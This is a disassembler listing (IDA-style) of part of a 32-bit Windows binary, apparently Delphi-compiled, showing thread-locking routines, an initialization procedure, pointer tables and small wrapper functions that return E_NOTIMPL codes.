sub_4000C79C	endp

; ---------------------------------------------------------------------------
		align 4
		push	ebx
		push	ecx
		mov	ebx, eax
		mov	edx, esp
		mov	eax, [ebx+20h]
		call	sub_4000C5D0
		dec	dword ptr [ebx+1Ch]
		cmp	dword ptr [ebx+1Ch], 0
		jnz	short loc_4000C87F
		xor	eax, eax
		mov	[ebx+24h], eax
		lea	eax, [ebx+0Ch]
		mov	edx, 0FFFFh
		call	sub_4000C554
		mov	eax, ebx
		call	sub_4000C770
		mov	eax, ebx
		call	sub_4000C764


loc_4000C87F:				; CODE XREF: .text:4000C85Dj
		mov	eax, [esp]
		cmp	dword ptr [eax+0Ch], 0
		jnz	short loc_4000C892
		mov	edx, esp
		mov	eax, [ebx+20h]
		call	sub_4000C648


loc_4000C892:				; CODE XREF: .text:4000C886j
		pop	edx
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		align 4
		push	ebx
		push	esi
		push	edi
		push	ecx
		mov	edi, eax
		mov	edx, esp
		mov	eax, [edi+20h]
		call	sub_4000C5D0
		mov	eax, [esp]
		inc	dword ptr [eax+0Ch]
		mov	eax, [esp]
		cmp	dword ptr [eax+0Ch], 1
		setnbe	bl
		call	sub_40006560	; GetCurrentThreadId
		cmp	eax, [edi+24h]
		jz	short loc_4000C902
		test	bl, bl
		jnz	short loc_4000C902
		mov	eax, edi
		call	sub_4000C77C
		jmp	short loc_4000C8F6
; ---------------------------------------------------------------------------


loc_4000C8CF:				; CODE XREF: .text:4000C900j
		lea	eax, [edi+0Ch]
		call	sub_4000C534
		mov	esi, eax
		cmp	esi, 0FFFFh
		jnz	short loc_4000C8E8
		mov	eax, edi
		call	sub_4000C770


loc_4000C8E8:				; CODE XREF: .text:4000C8DFj
		push	0
		call	sub_4000C408	; Sleep
		mov	eax, edi
		call	sub_4000C77C


loc_4000C8F6:				; CODE XREF: .text:4000C8CDj
		lea	eax, [edi+0Ch]
		call	sub_4000C540
		test	eax, eax
		jle	short loc_4000C8CF


loc_4000C902:				; CODE XREF: .text:4000C8C0j
					; .text:4000C8C4j
		pop	edx
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		align 4
		push	ebx
		push	ecx
		mov	ebx, eax
		mov	edx, esp
		mov	eax, [ebx+20h]
		call	sub_4000C5D0
		mov	eax, [esp]
		dec	dword ptr [eax+0Ch]
		mov	eax, [esp]
		cmp	dword ptr [eax+0Ch], 0
		jnz	short loc_4000C96D
		mov	edx, esp
		mov	eax, [ebx+20h]
		call	sub_4000C648
		call	sub_40006560	; GetCurrentThreadId
		cmp	eax, [ebx+24h]
		jz	short loc_4000C96D
		lea	eax, [ebx+0Ch]
		call	sub_4000C534
		mov	ecx, eax
		cmp	ecx, 0FFFFh
		jnz	short loc_4000C954
		mov	eax, ebx
		call	sub_4000C770
		jmp	short loc_4000C96D
; ---------------------------------------------------------------------------


loc_4000C954:				; CODE XREF: .text:4000C949j
		test	ecx, ecx
		jg	short loc_4000C96D
		mov	eax, ecx
		mov	ecx, 0FFFFh
		cdq
		idiv	ecx
		test	edx, edx
		jnz	short loc_4000C96D
		mov	eax, ebx
		call	sub_4000C770


loc_4000C96D:				; CODE XREF: .text:4000C923j
					; .text:4000C937j ...
		pop	edx
		pop	ebx
		retn

; =============== S U B	R O U T	I N E =======================================



sub_4000C970	proc near		; CODE XREF: sub_4000CC50+22p
					; sub_40013ED4+40p ...
		mov	edx, [eax]
		xor	ecx, ecx
		mov	[eax], ecx
		mov	eax, edx
		call	sub_40003CE8
		retn
sub_4000C970	endp

; ---------------------------------------------------------------------------
		align 10h
dword_4000C980	dd 1Dh				dd offset dword_4001AA00
		dd offset off_4001B010
		dd offset dword_4001A9F8
		dd offset off_4001AFA4
		dd offset dword_4001A9F0
		dd offset off_4001AEE0
		dd offset dword_4001A9E8
		dd offset off_4001B038
		dd offset dword_4001A9E0
		dd offset off_4001B050
		dd offset dword_4001A9D8
		dd offset off_4001AF44
		dd offset dword_4001A9D0
		dd offset off_4001AF94
		dd offset dword_4001A9C8
		dd offset off_4001AEBC
		dd offset dword_4001A9C0
		dd offset off_4001AFB4
		dd offset dword_4001A9B8
		dd offset off_4001AFD4
		dd offset dword_4001A9B0
		dd offset off_4001AF70
		dd offset dword_4001A9A8
		dd offset off_4001AF78
		dd offset dword_4001A9A0
		dd offset off_4001B088
		dd offset dword_4001A998
		dd offset off_4001AF74
		dd offset dword_4001A990
		dd offset off_4001B0BC
		dd offset dword_4001A988
		dd offset off_4001B004
		dd offset dword_4001A980
		dd offset off_4001AFEC
		dd offset dword_4001A978
		dd offset off_4001B0C4
		dd offset dword_4001A970
		dd offset off_4001B0A8
		dd offset dword_4001A968
		dd offset off_4001AF88
		dd offset dword_4001A960
		dd offset off_4001B08C
		dd offset dword_4001A958
		dd offset off_4001B094
		dd offset dword_4001A950
		dd offset off_4001AF34
		dd offset dword_4001A948
		dd offset off_4001AF0C
		dd offset dword_4001A940
		dd offset off_4001AFE8
		dd offset dword_4001A938
		dd offset off_4001B034
		dd offset dword_4001A930
		dd offset off_4001AEC4
		dd offset dword_4001A928
		dd offset off_4001B084
		dd offset dword_4001A920
		dd offset off_4001AF84
dword_4000CA6C	dd 28h				dd offset off_4001A918
		dd offset off_4001B078
		dd 0
		dd offset off_4001A914
		dd offset off_4001AEE8
		align 8
		dd offset off_4001A910
		dd offset off_4001B028
		dd 0
		dd offset off_4001A90C
		dd offset off_4001AED0
		align 10h
		dd offset off_4001A908
		dd offset off_4001AF18
		dd 0
		dd offset off_4001A904
		dd offset off_4001AF10
		dd 0
		dd offset off_4001A900
		dd offset off_4001AEF0
		dd 0
		dd offset off_4001A8FC
		dd offset off_4001AF80
		align 10h
		dd offset off_4001A8F8
		dd offset off_4001B000
		dd 0
		dd offset off_4001A8F4
		dd offset off_4001AF14
		align 8
		dd offset off_4001A8F0
		dd offset off_4001AFE0
		dd 0
		dd offset off_4001A8EC
		dd offset off_4001B04C
		align 10h
		dd offset off_4001A8E8
		dd offset off_4001B040
		dd 0
		dd offset off_4001A8E4
		dd offset off_4001B008
		align 8
		dd offset off_4001A8E0
		dd offset off_4001AF6C
		dd 0
		dd offset off_4001A8DC
		dd offset off_4001AF50
		align 10h
		dd offset off_4001A8D8
		dd offset off_4001AECC
		dd 0
		dd offset off_4001A8D4
		dd offset off_4001B03C
		align 8
		dd offset off_4001A8D0
		dd offset off_4001AFC4
		dd 0
		dd offset off_4001A8CC
		dd offset off_4001AF48
		align 10h
		dd offset off_4001A8C8
		dd offset off_4001AFB0
		dd 0
		dd offset off_4001A8C4
		dd offset off_4001AFF8
		align 8
		dd offset off_4001A8C0
		dd offset off_4001AFBC
		dd 0
		dd offset off_4001A8BC
		dd offset off_4001AF58
		align 10h
		dd offset off_4001A8B8
		dd offset off_4001AEC8
		dd 0
		dd offset off_4001A8B4
		dd offset off_4001AF9C
		align 8
		dd offset off_4001A8B0
		dd offset off_4001B098
		dd 0
		dd offset off_4001A8AC
		dd offset off_4001B070
		align 10h
		dd offset off_4001A8A8
		dd offset off_4001AFDC
		dd 0
		dd offset off_4001A8A4
		dd offset off_4001AF30
		align 8
		dd offset off_4001A8A0
		dd offset off_4001AED8
		dd 0
		dd offset off_4001A89C
		dd offset off_4001B068
		align 10h
		dd offset off_4001A898
		dd offset off_4001B0D0
		dd 0
		dd offset off_4001A894
		dd offset off_4001AEF4
		dd 0
		dd offset off_4001A890
		dd offset off_4001AEB8
		dd 0
		dd offset off_4001A88C
		dd offset off_4001B080
		align 10h
		dd offset off_4001A888
		dd offset off_4001AFD8
		dd 0
		dd offset off_4001A884
		dd offset off_4001B0AC
		align 8
		dd offset off_4001A860
		dd offset off_4001AF8C
		dd 0
		dd offset off_4001A85C
		dd offset off_4001AF38
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000CC50	proc near		; DATA XREF: .text:40018370o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_4000CDCF
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_4001E918
		jnz	loc_4000CDC1
		mov	eax, offset dword_4001F224
		call	sub_4000C970
		mov	eax, offset sub_4000C230
		call	sub_400060C4
		call	sub_4000C4B4
		call	sub_4000B7B0
		mov	eax, offset dword_4001A7DC
		call	sub_40004884
		mov	eax, offset dword_4001A7E0
		call	sub_40005008
		mov	eax, offset dword_4001A7F4
		call	sub_40004884
		mov	eax, offset dword_4001E808
		call	sub_40004884
		mov	eax, offset dword_4001E814
		call	sub_40004884
		mov	eax, offset dword_4001E818
		call	sub_40004884
		mov	eax, offset dword_4001E820
		call	sub_40004884
		mov	eax, offset dword_4001E824
		call	sub_40004884
		mov	eax, offset dword_4001E828
		call	sub_40004884
		mov	eax, offset dword_4001E82C
		call	sub_40004884
		mov	eax, offset dword_4001E830
		mov	ecx, 0Ch
		mov	edx, ds:off_40001000
		call	sub_40005314
		mov	eax, offset dword_4001E860
		mov	ecx, 0Ch
		mov	edx, ds:off_40001000
		call	sub_40005314
		mov	eax, offset dword_4001E890
		mov	ecx, 7
		mov	edx, ds:off_40001000
		call	sub_40005314
		mov	eax, offset dword_4001E8AC
		mov	ecx, 7
		mov	edx, ds:off_40001000
		call	sub_40005314
		mov	eax, offset dword_4001E8D8
		mov	ecx, 7
		mov	edx, ds:off_40001000
		call	sub_40005314
		mov	eax, offset dword_4001E910
		mov	edx, ds:off_400077D8
		call	sub_40005B34
		mov	eax, offset dword_4001E914
		mov	edx, ds:off_400077FC
		call	sub_40005B34
		mov	eax, offset off_4001A84C
		call	sub_40004884
		mov	eax, offset off_4001A854
		mov	ecx, 2
		mov	edx, ds:off_40001000
		call	sub_40005314
		mov	eax, offset dword_4001A91C
		mov	ecx, 7
		mov	edx, ds:off_4000B210
		call	sub_40005314
		mov	eax, offset off_4001A954
		mov	ecx, 16h
		mov	edx, ds:off_4000B290
		call	sub_40005314


loc_4000CDC1:				; CODE XREF: sub_4000CC50+17j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4000CDD6


loc_4000CDCE:				; CODE XREF: sub_4000CC50+184j
		retn
; ---------------------------------------------------------------------------


loc_4000CDCF:				; DATA XREF: sub_4000CC50+6o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_4000CDCE
; ---------------------------------------------------------------------------


loc_4000CDD6:				; CODE XREF: sub_4000CC50:loc_4000CDCEj
					; DATA XREF: sub_4000CC50+179o
		pop	ebp
		retn
sub_4000CC50	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4000CDD8	proc near		; CODE XREF: sub_4000E35C+72p
					; sub_4000E744+13p ...
		jmp	ds:dword_40024660
sub_4000CDD8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4000CDE0	proc near		; CODE XREF: sub_4000E1E0+16Bp
					; sub_4000E35C+Fp ...
		jmp	ds:dword_4002465C
sub_4000CDE0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4000CDE8	proc near		; CODE XREF: sub_4000E480+1B9p
					; sub_4000E654+21p ...
		jmp	ds:dword_40024658
sub_4000CDE8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4000CDF0	proc near		; CODE XREF: sub_4000CDF8+25p
		jmp	ds:dword_40024654
sub_4000CDF0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000CDF8	proc near		; DATA XREF: sub_4000D28C+12o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= word ptr  14h
arg_10		= word ptr  18h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 400h
		jz	short loc_4000CE0B
		mov	eax, 80004001h
		jmp	short loc_4000CE22
; ---------------------------------------------------------------------------


loc_4000CE0B:				; CODE XREF: sub_4000CDF8+Aj
		movzx	eax, [ebp+arg_10]
		push	eax
		movzx	eax, [ebp+arg_C]
		push	eax
		mov	eax, [ebp+arg_4]
		push	eax
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_4000CDF0


loc_4000CE22:				; CODE XREF: sub_4000CDF8+11j
		pop	ebp
		retn	14h
sub_4000CDF8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000CE28	proc near		; DATA XREF: sub_4000D28C+28o
					; sub_4000D28C+3Eo
		push	ebp
		mov	ebp, esp
		mov	eax, 80004001h
		pop	ebp
		retn	8
sub_4000CE28	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000CE34	proc near		; DATA XREF: sub_4000D28C+54o
					; sub_4000D28C+6Ao ...
		push	ebp
		mov	ebp, esp
		mov	eax, 80004001h
		pop	ebp
		retn	0Ch
sub_4000CE34	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000CE40	proc near		; DATA XREF: sub_4000D28C+11Ao
		push	ebp
		mov	ebp, esp
		mov	eax, 80004001h
		pop	ebp
		retn	10h
sub_4000CE40	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000CE4C	proc near		; DATA XREF: sub_4000D28C+130o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0
		push	ebx
		xor	eax, eax
		push	ebp
		push	offset loc_4000CEA6
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		cmp	[ebp+arg_4], 400h
		jz	short loc_4000CE70
		mov	ebx, 80004001h
		jmp	short loc_4000CE90
; ---------------------------------------------------------------------------


loc_4000CE70:				; CODE XREF: sub_4000CE4C+1Bj
		lea	eax, [ebp+var_4]
		mov	edx, [ebp+arg_0]
		call	sub_40004B0C
		mov	eax, [ebp+var_4]
		mov	edx, [ebp+arg_C]
		call	sub_40007DEC
		and	eax, 7Fh
		mov	ebx, dword_4001AA08[eax*4]


loc_4000CE90:				; CODE XREF: sub_4000CE4C+22j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4000CEAD


loc_4000CE9D:				; CODE XREF: sub_4000CE4C+5Fj
		lea	eax, [ebp+var_4]
		call	sub_40004884
		retn
; ---------------------------------------------------------------------------


loc_4000CEA6:				; DATA XREF: sub_4000CE4C+9o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_4000CE9D
; ---------------------------------------------------------------------------


loc_4000CEAD:				; CODE XREF: sub_4000CE4C+59j
					; DATA XREF: sub_4000CE4C+4Co
		mov	eax, ebx
		pop	ebx
		pop	ecx
		pop	ebp
		retn	10h
sub_4000CE4C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000CEB8	proc near		; DATA XREF: sub_4000D28C+146o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0
		push	ebx
		xor	eax, eax
		push	ebp
		push	offset loc_4000CF12
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		cmp	[ebp+arg_4], 400h
		jz	short loc_4000CEDC
		mov	ebx, 80004001h
		jmp	short loc_4000CEFC
; ---------------------------------------------------------------------------


loc_4000CEDC:				; CODE XREF: sub_4000CEB8+1Bj
		lea	eax, [ebp+var_4]
		mov	edx, [ebp+arg_0]
		call	sub_40004B0C
		mov	eax, [ebp+var_4]
		mov	edx, [ebp+arg_C]
		call	sub_40008EBC
		and	eax, 7Fh
		mov	ebx, dword_4001AA08[eax*4]


loc_4000CEFC:				; CODE XREF: sub_4000CEB8+22j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4000CF19


loc_4000CF09:				; CODE XREF: sub_4000CEB8+5Fj
		lea	eax, [ebp+var_4]
		call	sub_40004884
		retn
; ---------------------------------------------------------------------------


loc_4000CF12:				; DATA XREF: sub_4000CEB8+9o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_4000CF09
; ---------------------------------------------------------------------------


loc_4000CF19:				; CODE XREF: sub_4000CEB8+59j
					; DATA XREF: sub_4000CEB8+4Co
		mov	eax, ebx
		pop	ebx
		pop	ecx
		pop	ebp
		retn	10h
sub_4000CEB8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000CF24	proc near		; DATA XREF: sub_4000D28C+15Co

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0
		push	ebx
		xor	eax, eax
		push	ebp
		push	offset loc_4000CF7E
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		cmp	[ebp+arg_4], 400h
		jz	short loc_4000CF48
		mov	ebx, 80004001h
		jmp	short loc_4000CF68
; ---------------------------------------------------------------------------


loc_4000CF48:				; CODE XREF: sub_4000CF24+1Bj
		lea	eax, [ebp+var_4]
		mov	edx, [ebp+arg_0]
		call	sub_40004B0C
		mov	eax, [ebp+var_4]
		mov	edx, [ebp+arg_C]
		call	sub_40008E90
		and	eax, 7Fh
		mov	ebx, dword_4001AA08[eax*4]


loc_4000CF68:				; CODE XREF: sub_4000CF24+22j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4000CF85


loc_4000CF75:				; CODE XREF: sub_4000CF24+5Fj
		lea	eax, [ebp+var_4]
		call	sub_40004884
		retn
; ---------------------------------------------------------------------------


loc_4000CF7E:				; DATA XREF: sub_4000CF24+9o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_4000CF75
; ---------------------------------------------------------------------------


loc_4000CF85:				; CODE XREF: sub_4000CF24+59j
					; DATA XREF: sub_4000CF24+4Co
		mov	eax, ebx
		pop	ebx
		pop	ecx
		pop	ebp
		retn	10h
sub_4000CF24	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000CF90	proc near		; DATA XREF: sub_4000D28C+172o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0
		push	ebx
		xor	eax, eax
		push	ebp
		push	offset loc_4000CFEA
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		cmp	[ebp+arg_4], 400h
		jz	short loc_4000CFB4
		mov	ebx, 80004001h
		jmp	short loc_4000CFD4
; ---------------------------------------------------------------------------


loc_4000CFB4:				; CODE XREF: sub_4000CF90+1Bj
		lea	eax, [ebp+var_4]
		mov	edx, [ebp+arg_0]
		call	sub_40004B0C
		mov	eax, [ebp+var_4]
		mov	edx, [ebp+arg_C]
		call	sub_4000A780
		and	eax, 7Fh
		mov	ebx, dword_4001AA08[eax*4]


loc_4000CFD4:				; CODE XREF: sub_4000CF90+22j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4000CFF1


loc_4000CFE1:				; CODE XREF: sub_4000CF90+5Fj
		lea	eax, [ebp+var_4]
		call	sub_40004884
		retn
; ---------------------------------------------------------------------------


loc_4000CFEA:				; DATA XREF: sub_4000CF90+9o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_4000CFE1
; ---------------------------------------------------------------------------


loc_4000CFF1:				; CODE XREF: sub_4000CF90+59j
					; DATA XREF: sub_4000CF90+4Co
		mov	eax, ebx
		pop	ebx
		pop	ecx
		pop	ebp
		retn	10h
sub_4000CF90	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000CFFC	proc near		; DATA XREF: sub_4000D28C+188o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0
		push	ebx
		xor	eax, eax
		push	ebp
		push	offset loc_4000D056
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		cmp	[ebp+arg_4], 400h
		jz	short loc_4000D020
		mov	ebx, 80004001h
		jmp	short loc_4000D040
; ---------------------------------------------------------------------------


loc_4000D020:				; CODE XREF: sub_4000CFFC+1Bj
		lea	eax, [ebp+var_4]
		mov	edx, [ebp+arg_0]
		call	sub_40004B0C
		mov	eax, [ebp+var_4]
		mov	edx, [ebp+arg_C]
		call	sub_40008EE8
		and	eax, 7Fh
		mov	ebx, dword_4001AA08[eax*4]


loc_4000D040:				; CODE XREF: sub_4000CFFC+22j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4000D05D


loc_4000D04D:				; CODE XREF: sub_4000CFFC+5Fj
		lea	eax, [ebp+var_4]
		call	sub_40004884
		retn
; ---------------------------------------------------------------------------


loc_4000D056:				; DATA XREF: sub_4000CFFC+9o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_4000D04D
; ---------------------------------------------------------------------------


loc_4000D05D:				; CODE XREF: sub_4000CFFC+59j
					; DATA XREF: sub_4000CFFC+4Co
		mov	eax, ebx
		pop	ebx
		pop	ecx
		pop	ebp
		retn	10h
sub_4000CFFC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000D068	proc near		; DATA XREF: sub_4000D28C+19Eo

var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		push	ebx
		xor	eax, eax
		mov	[ebp+var_8], eax
		xor	eax, eax
		push	ebp
		push	offset loc_4000D0D5
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		cmp	[ebp+arg_4], 400h
		jz	short loc_4000D092
		mov	ebx, 80004001h
		jmp	short loc_4000D0BF
; ---------------------------------------------------------------------------


loc_4000D092:				; CODE XREF: sub_4000D068+21j
		lea	eax, [ebp+var_8]
		mov	edx, [ebp+arg_0]
		call	sub_40004B0C
		mov	eax, [ebp+var_8]
		lea	edx, [ebp+var_1]
		call	sub_40007F40
		and	eax, 7Fh
		mov	ebx, dword_4001AA08[eax*4]
		cmp	[ebp+var_1], 1
		cmc
		sbb	eax, eax
		mov	edx, [ebp+arg_C]
		mov	[edx], ax


loc_4000D0BF:				; CODE XREF: sub_4000D068+28j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4000D0DC


loc_4000D0CC:				; CODE XREF: sub_4000D068+72j
		lea	eax, [ebp+var_8]
		call	sub_40004884
		retn
; ---------------------------------------------------------------------------


loc_4000D0D5:				; DATA XREF: sub_4000D068+Fo
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_4000D0CC
; ---------------------------------------------------------------------------


loc_4000D0DC:				; CODE XREF: sub_4000D068+6Cj
					; DATA XREF: sub_4000D068+5Fo
		mov	eax, ebx
		pop	ebx
		pop	ecx
		pop	ecx
		pop	ebp
		retn	10h
sub_4000D068	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000D0E8	proc near		; DATA XREF: sub_4000D28C+1B4o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	0
		push	ebx
		mov	eax, [ebp+arg_10]
		test	eax, eax
		jz	short loc_4000D0F9
		xor	edx, edx
		mov	[eax], edx


loc_4000D0F9:				; CODE XREF: sub_4000D0E8+Bj
		xor	eax, eax
		push	ebp
		push	offset loc_4000D148
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		cmp	[ebp+arg_8], 400h
		jz	short loc_4000D117
		mov	ebx, 80004001h
		jmp	short loc_4000D132
; ---------------------------------------------------------------------------


loc_4000D117:				; CODE XREF: sub_4000D0E8+26j
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		lea	eax, [ebp+var_4]
		call	sub_40008E44
		mov	edx, [ebp+var_4]
		mov	eax, [ebp+arg_10]
		call	sub_40005158
		xor	ebx, ebx


loc_4000D132:				; CODE XREF: sub_4000D0E8+2Dj
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4000D14F


loc_4000D13F:				; CODE XREF: sub_4000D0E8+65j
		lea	eax, [ebp+var_4]
		call	sub_40004884
		retn
; ---------------------------------------------------------------------------


loc_4000D148:				; DATA XREF: sub_4000D0E8+14o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_4000D13F
; ---------------------------------------------------------------------------


loc_4000D14F:				; CODE XREF: sub_4000D0E8+5Fj
					; DATA XREF: sub_4000D0E8+52o
		mov	eax, ebx
		pop	ebx
		pop	ecx
		pop	ebp
		retn	14h
sub_4000D0E8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000D158	proc near		; DATA XREF: sub_4000D28C+1CAo

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	0
		push	ebx
		mov	eax, [ebp+arg_10]
		test	eax, eax
		jz	short loc_4000D169
		xor	edx, edx
		mov	[eax], edx


loc_4000D169:				; CODE XREF: sub_4000D158+Bj
		xor	eax, eax
		push	ebp
		push	offset loc_4000D1BA
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		cmp	[ebp+arg_8], 400h
		jz	short loc_4000D187
		mov	ebx, 80004001h
		jmp	short loc_4000D1A4
; ---------------------------------------------------------------------------


loc_4000D187:				; CODE XREF: sub_4000D158+26j
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		lea	eax, [ebp+var_4]
		xor	edx, edx
		call	sub_40009E60
		mov	eax, [ebp+arg_10]
		mov	edx, [ebp+var_4]
		call	sub_40005158
		xor	ebx, ebx


loc_4000D1A4:				; CODE XREF: sub_4000D158+2Dj
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4000D1C1


loc_4000D1B1:				; CODE XREF: sub_4000D158+67j
		lea	eax, [ebp+var_4]
		call	sub_40004884
		retn
; ---------------------------------------------------------------------------


loc_4000D1BA:				; DATA XREF: sub_4000D158+14o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_4000D1B1
; ---------------------------------------------------------------------------


loc_4000D1C1:				; CODE XREF: sub_4000D158+61j
					; DATA XREF: sub_4000D158+54o
		mov	eax, ebx
		pop	ebx
		pop	ecx
		pop	ebp
		retn	14h
sub_4000D158	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000D1CC	proc near		; DATA XREF: sub_4000D28C+1E0o

var_4		= dword	ptr -4
arg_0		= word ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0
		push	ebx
		mov	eax, [ebp+arg_C]
		test	eax, eax
		jz	short loc_4000D1DD
		xor	edx, edx
		mov	[eax], edx


loc_4000D1DD:				; CODE XREF: sub_4000D1CC+Bj
		xor	eax, eax
		push	ebp
		push	offset loc_4000D230
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		cmp	[ebp+arg_4], 400h
		jz	short loc_4000D1FB
		mov	ebx, 80004001h
		jmp	short loc_4000D21A
; ---------------------------------------------------------------------------


loc_4000D1FB:				; CODE XREF: sub_4000D1CC+26j
		cmp	[ebp+arg_0], 1
		sbb	eax, eax
		inc	eax
		lea	ecx, [ebp+var_4]
		xor	edx, edx
		call	sub_40007FDC
		mov	edx, [ebp+var_4]
		mov	eax, [ebp+arg_C]
		call	sub_40005158
		xor	ebx, ebx


loc_4000D21A:				; CODE XREF: sub_4000D1CC+2Dj
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4000D237


loc_4000D227:				; CODE XREF: sub_4000D1CC+69j
		lea	eax, [ebp+var_4]
		call	sub_40004884
		retn
; ---------------------------------------------------------------------------


loc_4000D230:				; DATA XREF: sub_4000D1CC+14o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_4000D227
; ---------------------------------------------------------------------------


loc_4000D237:				; CODE XREF: sub_4000D1CC+63j
					; DATA XREF: sub_4000D1CC+56o
		mov	eax, ebx
		pop	ebx
		pop	ecx
		pop	ebp
		retn	10h
sub_4000D1CC	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4000D240	proc near		; CODE XREF: sub_4000E480+EEp
		jmp	ds:dword_40024650
sub_4000D240	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4000D248	proc near		; CODE XREF: sub_4000E1E0+AFp
					; sub_4000E480+99p
		jmp	ds:dword_4002464C
